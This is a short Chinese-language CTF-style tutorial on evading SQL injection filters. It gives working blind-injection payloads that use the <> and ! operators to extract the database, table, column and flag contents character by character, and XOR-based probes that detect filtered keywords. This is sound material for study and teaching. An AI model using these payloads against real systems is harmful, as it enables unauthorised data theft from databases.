简介
一、大小于号绕过
上面的<>是不等于的意思
测试注入点:
id=1 正常输入
id=1' 测试是否有注入
id=1' and 1=1%23 提示hacker~ 被过滤了
id=1' and 1%23 没有被过滤,说明是=被过滤,但是没有输出
id=1 and 1%23 页面有输出,所以数字型的sql注入
开始猜测库名 使用Burp的intruder模块进行爆破,下面的!是取反的意思:
猜库名
id=1 and if(!(ascii(substr((select database()),1,1))<>119),1,0)%23
猜表名
id=1 and if(!(ascii(substr((select group_concat(table_name) from information_schema.tables where !(table_schema<>database())),1,1))<>102),1,0)%23
猜列名
id=1 and if(!(ascii(substr((select group_concat(column_name) from information_schema.columns where !(table_name<>'flag')),1,1))<>102),1,0)%23
猜数据
id=1 and if(!(ascii(substr((select flag from flag),1,1))<>102),1,0)%23
其他绕过方式:
二、异或注入
测试注入点
id=1 输出hello user
id=1' and 1%23 不输出内容
id=1 and 1%23 输出hello user 应该是数字型的sql注入
测试过滤
id=union 页面不输出内容
id=u 页面不输出内容
在这里不知道union有没有被带入到数据库中进行查询,因为有可能是union被过滤程序直接退出;还有一种可能是数据库中没有id为union的数据,查询结果为空。所以 无法判断union有没有被过滤
使用异或注入测试过滤
id=1 ^ (length('union')=5)%23union被过滤
id=1 ^ (length('and')=3)%23 and没有被过滤